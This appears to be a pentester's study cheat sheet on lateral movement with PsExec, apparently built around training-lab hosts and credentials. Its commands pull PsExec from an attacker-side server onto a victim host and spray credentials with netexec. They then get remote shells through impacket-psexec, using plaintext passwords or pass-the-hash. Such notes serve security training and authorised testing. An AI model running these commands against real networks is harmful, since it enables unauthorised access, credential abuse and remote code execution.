PSexec Tool

PsExec Tool

Requirements to Run this Successfully are as follows:

1. The user must have an Administrator local group member.

2. ADMIN$ share must be available.

3. File and Printer sharing must be on.

Working:

1. Writes psexesvc.exe into the C:\Windows directory

2. Creates and spawns a service on the remote host

3. Runs the requested program/command as a child process of psexesvc.exe

Type 1: RDP Access is there

# Assuming that we have RDP access to the machine
# First need to download the tool from the website.
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

# send the file to the victim system and run the below command.
# Extract and start the server.
iwr -uri http://192.168.45.152:8000/PsExec64.exe -Outfile PsExec64.exe

# Run file
.\PsExec64.exe -i \\<Target_Hostname> -u <Domain>\<Username> -p <Password> <Process>

# Example:
# .\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! powershell
 
# .\PsExec64.exe: The PsExec executable.
# -i: Runs the process interactively.
# \\<Target_Hostname>: The remote machine (e.g., \\FILES04).
# -u <Domain>\<Username>: Specifies the user (corp\jen).
# -p <Password>: The user's password (Nexus123!).
# <Process>: The process to execute (e.g., powershell).

Type 2: We don't have RDP access. (Using kali)

Initial Check for Access!!!

netexec smb <IP/Range_Of_IP> -u $UserName -p $Password  --continue-on-success
# netexec winrm 192.168.115.0/24 -u jen -p 'Nexus123!'  --continue-on-success

In the output, if you see '(Pwn3d!)', it indicates that you have local admin privileges for that machine and can attempt to log in using impacket-psexec.

# We can use the impacket tool for this.
impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET_IP> <COMMAND>
# Example:
# impacket-psexec corp/jen:'Nexus123!'@192.168.231.73 cmd
# Running Powershell as a command creates a problem in this.

# Using Hash of the user.
impacket-psexec <DOMAIN>/<USERNAME>@<TARGET_IP> -hashes <LM_HASH>:<NT_HASH> <COMMAND>
# Example:
# impacket-psexec corp/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c cmd.exe